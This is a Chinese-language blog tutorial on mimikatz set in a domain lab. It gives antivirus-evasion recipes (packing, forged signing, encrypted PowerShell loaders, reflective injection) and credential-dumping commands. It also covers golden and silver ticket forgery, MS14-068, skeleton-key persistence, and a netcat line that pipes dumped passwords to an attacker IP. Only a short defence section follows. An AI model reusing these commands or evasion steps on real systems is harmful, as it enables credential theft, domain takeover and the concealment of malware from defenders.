<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    萌新如何玩轉mimikatz

    VSole2022-08-29 06:48:46

    0x01前言

    你好哇!暑假快到了,身邊好多師傅都開啟了"卷王"模式,而我也在南城師傅的幫助下開始了內網這個新征程;mimikatz就是我遇見的一個坎(也是大家內網學習繞不過的坎,基礎中的基礎),我希望記錄下這個過程,盡可能的幫助大家更快的掌握mimikatz的用法和技巧。最后,再次謝謝南城師傅對本文的指導與幫助!!

    什么是mimikatz?

    答:mimikatz是法國安全研究員Benjamin Delpy在GitHub開源的內網工具(GitHub下載地址)可用來做一些關于Win內網安全的滲透實驗;它在內網滲透中它可以從lsass.exe進程中提取明文密碼、哈希值、PIN碼和Kerberos票據,因此很多人稱之為密碼抓取神器;與此同時它還可以執行傳遞哈希值、傳遞票據、建立票據、偽造域管理憑證令牌等諸多功能等

    還有什么和mimikatz相似的工具?

    答:提取目標主機的Hash值的工具有不少,eg:GetHashgsecdumpPwDumpNtdsutil....但是mimikatz依然是大多數人的選擇

    補充:我們盡量對mimikatz進行免殺處理,因為該工具危害過大大多數反病毒公司會對該工具進行攔截;所以我們還要在利用完工具后進行刪除,或者把lsass.exe進行的程序打包下載到攻擊端,使用Hash破解工具進行破解

    和mimikatz搭配的工具?

    答:經常搭配mimikatz的工具有很多;eg:CSMSFoclHashcatlC5OphcrakJohn the Ripper....其中大部分是Hash破解工具(其中MSF是自帶mimikatz的)

    0x02 環境與目標


    靶場環境:域

    靶場資源:通過打點獲得的一臺域內主機權限 (普通用戶)

    靶場系統:Win7 x64旗艦版(虛擬機);Win sever 19域控(虛擬機)

    靶場目標:

    1、在普通用戶權限下查看提取的Hash
    2、獲得域控權限
    3、通過mimikatz導出該文件的Hash
    4、維持域控權限
    

    0x03 免殺

    經過研究發現Mimikatz的提取密碼流程如下圖所示:

    1.獲取登錄會話信息(包含了用戶密碼的加密后密文)
    2.提取加密密鑰的值
    3.調用Windows中的BCryptDecrypt函數解密

    由于該過程中會調用一些敏感操作,從而產生了一些特征碼;導致殺毒軟件和def對提取相應的特征從而采用靜態掃描的方式對mimiikatz進行查殺,為了避免暴露我們應當對其進行面殺處理;關于免殺這一塊,筆者還是處于"腳本小子"的程度;但是通過查閱一些師傅的文章后,也總結出來了一些適合筆者使用的方法與手段;如下所示:

    方案一:加殼+簽名(靜態免殺的好搭檔)

    首先我們對mimikatz進行一個.ICO圖片替換;具體方法是下載ResHacker后通過它打開mimikatz(只能是32位的,至于64位可能是環境問題無法打開)后在Icon Group中的100里面打開;然后點擊操作中的替換圖標,最后修改名字就行了。

    接下來我們對該.exe文件進行加殼與簽名處理即可(加殼工具:MoleBox;簽名腳本:地址)

    通過加殼可以大幅度減小文件大小,在通過文件簽名進行認證偽造,就得到一款好用的免殺木馬(個人建議換一些不常用的加殼軟件,因為據說國內某軟件看見加殼就殺)可以看見效果不錯!

    方案二:利用腳本加密

    我們可以在GitHub上找到大量的加密腳本,這里我們選用大家都熟悉的Powersploit工具來對我們的mimikatz來進行加密(當然,因為腳本越出名被殺的風險越大,所以這個方法的效果自然是"慘目忍睹")Powersploit為我們提供了大量用來加密處理的腳本,而Out-EncryptedScript這個萬能的加密腳本就是其中之一,它會將解密的內容加載到內存非常方便。

    這次免殺的方法就非常簡單了,原理是:對Invoke-Mimikatz再做一次Out-EncryptedScript加密(這里有人可能會問為啥是Invoke-Mimikatz,眾所周知mimikatz被殺的死死的,所以大家都會開發一定的免殺方法,而"腳本小子"就可以站在巨人的的肩膀上進行免殺操作,大大方便了免殺的構造,同時也大幅度提升了免殺的成功率);但是這個腳本長時間沒有更新,所以不建議大家使用,這里僅僅是一個思路,供大家參考。

    直接下載Powersploit到桌面,輸入以下命令進行再次加密處理

    Out-EncryptedScript .\Invoke-Mimikatz.ps1 password salty
    

    其實如果成功的話,接著將加密生成的.ps1腳本放在目標機上,執行命令就可以了

    [String] $cmd = Get-Content .\evil.ps1
    Invoke-Expression $cmd
    $decrypted = de password salt
    Invoke-Expression $decrypted
    Invoke-Mimikatz
    

    方案三:利用powershell執行"混淆"的代碼

    這個方法其實參考了方案二的一些步驟;具體實現是將mimiktz.exe轉化為字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1腳本中直接執行

    具體是通過一段.psl代碼(ToString.ps1:地址)保存為ToString.ps1后通過powershell執行命令即可

    powershell import-module .\ToString.ps1
    .\ToString .\mimikatz.exe >>1.txt
    

    接著,我們就可以對1.txt文本進行一個加密混淆,在通過模板生成加密的powershell腳本進行命令執行;我們可以看一下效果是挺不錯的!

    0x04 運用流程

    1、在普通用戶權限下查看提取的Hash

    #獲取權限
    privilege::debug
    #抓取密碼
    sekurlsa::logonpasswords
    

    友情提示:現在大多數計算機是64位的,所以應當使用X64文件夾里面的mimikatz;如果發生報錯可能是因為你沒有管理員權限導致的,所以可以嘗試使用管理員權限運行它。(mimiikatz只能抓到上次關機后登錄過的賬號密碼)

    2、通過黃金票據偽造獲得域控權限

    我們通過如下命令導出lsadump文件;獲得攻擊者需要目標域的sid和tgt的Hahs值

    mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
    

    在驗證之前我們要做好相應的準備工作;檢查是否刪除了所有的票據,能否打開域控的C盤

    #刪除所有的票據
    klist purge
    #查看域控的C盤
    dir \WIN-9JJK4CNGD41.cyh.com\c$
    

    然后更據獲取的Hash值,偽造出黃金票據,從而使用下圖命令進行攻擊;發現攻擊成功!

    mimikatz.exe "kerberos::golden /user:test /domain:whoami查看的域名.com /sid:導出文本中Domain的值 /krbtgt:導出的Hash值 /ptt" exit
    

    3、通過mimikatz導出該文件的Hash

    (1)通過mimikatz獲取內存口令
    privilege::debug
    sekurlsa::logonpasswords
    (2)通過mimikatz得到內存文件獲取口令
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    (3)通過powershell遠程命令mimikatz獲取內存口令(參考方案二)
    (4)通過控制lsass.exe找到ASM文件并導出為.dmp文件,傳入攻擊端利用mimikatz進行口令讀取
    

    4、通過白銀票據維持域控權限

    首先要偽造白銀票據需要獲取SID域控的Hash值與DC的IP地址;我們可以通過mimikatz的命令來獲取這些東西(如下圖所示)

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 1.txt
    

    接著開始偽造我們的白銀票據,達到去訪問指定某一個服務的目的

    mimikatz.exe "kerberos::golden /user:用戶名 /domain:目標的域名 /sid:導出文本中Domain的值  /target:域的地址 /service:需要訪問的服務 /rc4:Hash值 /ptt" exit
    

    關于白銀票據我就不過多演示了,如果還有朋友不清楚黃金白銀票據原理的,可以移步到我的《淺談windows認證過程與攻擊手段(上)》查看,偽造票據就告一段落,接下來看任意登陸

    5、通過MS14-068漏洞登錄域環境

    通過黃金和白銀票據的學習,我發現它們都是需要獲取域的Hash;那我們能不能不通過獲取Hash達到一樣的目的呢?有,它就是大名鼎鼎的SM14-068漏洞,它僅僅需要普通域用戶的賬號和密碼即可達到相同的目標

    首先我們使用klist purge命令清除票據;后通過下列命令獲取偽造的證書

    ms14-068.exe -u 普通域用戶名 -p 普通域用戶的密碼 -s 用戶的SID -d 域的地址
    

    然后我們通過mimikatz導入證書,達到獲取域權限的目的

    mimikatz.exe "kerberos::ptc 目標域主機域名" exit
    

    友情提示:SM14-068只有在沒有打補丁的情況下才可以使用!

    6、通過mimikatz達成域控權限維持

    #通過鑰匙達到任意用戶登陸域控的目的
    privilege::debug
    misc::skeleton
    

    首先通過上述命令獲得skeleton的值,接著mimikatz通過skeleton的值構造鑰匙獲得權限

    net use \\獲得的misc的值 mimikatz /user:test
    

    0X05進階技巧

    1.通過Mimikatz輸出

    mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir
    

    2.通過Mimikatz輸出txt文件

    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> 名稱.txt
    

    3.將輸出遠程傳輸到目標機器中(nc代表netcat;即遠程執行命令)

    nc -lvp 端口號
    nc.exe -vv 目標IP 端口號 -e mimikatz.exe
    

    4.通過Victim執行:

    mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 攻擊者IP 攻擊者端口
    

    0X06如何防御

    禁用權限

    通過網絡上的資料查找我們發現禁用WDigest、禁用LSASS、清除憑據緩存、開啟白名單等方法

    WDigest:它的作用是與超文本傳輸協議(HTTP)和簡單的身份驗證安全層(SASL)一起交換使用(WDigest與NTLM協議類似,也是挑戰認證協議)
    LSASS:lsass.exe是一個系統進程,用于微軟Windows系統的安全機制。它用于本地安全和登陸策略
    憑據緩存:由文檔可知在默認情況下Windows會緩存最近10個密碼的哈希值

    利用工具查找

    通常可以使用小紅傘或者360等殺毒工具,進行定期的軟件查殺即可(但發現概率較小)

    修改本地策略


    我們通過提權命令中的debug了解了;用戶將調試器附加到任何進程(內核)中需要那些權限;通常在默認情況下,該權限為本地管理員Administrator所有(具體情況如下圖所示)

    又因為該權限是系統進程,本地管理員日常工作不需要使用此權限調式程序,所以可以移除本地管理員的權限,使得mimikatz無法使用(如下圖所示:);這個方法最為簡單方便!

    0X07小結

    本次的技術分享就到此為止了,感謝大家的閱讀希望對大家mimikatz的學習有所幫助;因為篇幅所限還有部分,無法和大家深入探討,不過我會補充的!筆者還處于小白階段,難免有疏漏,歡迎大家批評指正!

    軟件免殺
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    軟及原理
    2021-12-02 06:21:50
    將內存、文件掃描出的特征信息與病毒特征數據庫進行對比。(存在黑白名單)
    ,又叫毒技術,是反病毒,反間諜的對立面,是一種能使病毒或木馬免于被毒軟件查殺的軟件。它除了使病毒木馬免于被查殺外,還可以擴增病毒木馬的功能,改變病毒木馬的行為。的基本特征是破壞特征,有可能是行為特征,只要破壞了病毒與木馬所固有的特征,并保證其原有功能沒有改變,一次就能完成了。技術也并不是十惡不赦的,例如,在軟件保護所用的加密產品(比如殼)中,有一些會被毒軟件認為是木馬病毒;
    powershell之路
    2021-07-12 21:46:00
    Windows PowerShell 是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用 .NET Framework的強大功能
    特征碼
    2023-01-16 10:39:39
    特征碼又稱電腦病毒特征碼,它主要由反病毒公司制作,一般都是被反病毒軟件公司確定為只有該病毒才可能會有的一串二進制字符串,而這字符串通常是文件里對應程式碼或匯編指令的地址。毒軟件會將這一串二進制字符串用某種方法與目標文件或處理程序作對比,從而判定該文件或進程是否感染病毒。
    最近在研究這一塊的知識,說到肯定就逃不過箱。對于箱的通俗理解就是一個安全的箱子,這個箱子能夠模擬出軟件執行蘇需要的環境(如模擬虛擬機環境),通過hook跳轉到自己的函數進行行為分析。所以我們的后門文件想要更好的躲避軟的查殺,首先肯定要做好反調試才能在對抗軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
    CS姿勢
    2022-08-02 16:42:30
    花指令,在程序 shellcode 或特征代碼區域增添垃圾指令,增加的垃圾指令不會影響文件執行,在動態查殺或者文件hash對比是校驗會不一致。加殼,比如upx加殼等,一般文件落地后對比哈希值也可繞過軟。二次編譯,一般用于對shellcode進行二次編譯bypass軟。安裝火絨,查殺CS上線加殼另外再加殼測試。賽門鐵克也未報毒,其它軟不放圖了。
    今天腦子里面蹦出來個想法,木馬然后cs上線,本來想讓cs與msf聯動的,但是出了點小問題,還是先研究火絨吧。
    前言最近在研究這一塊的知識,說到肯定就逃不過箱。所以我們的后門文件想要更好的躲避軟的查殺,首先肯定要做好反調試才能在對抗軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
    技術全稱為反毒技術 Anti-Virus 簡稱“”,它指的是一種能使病毒木馬免于被毒軟件查殺的技術。由于技術的涉獵非常廣,其中包含反匯編、逆向工程、系統漏洞等技術,內容基本上都是修改病毒、木馬的內容改變特征碼,從而躲避了毒軟件的查殺。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类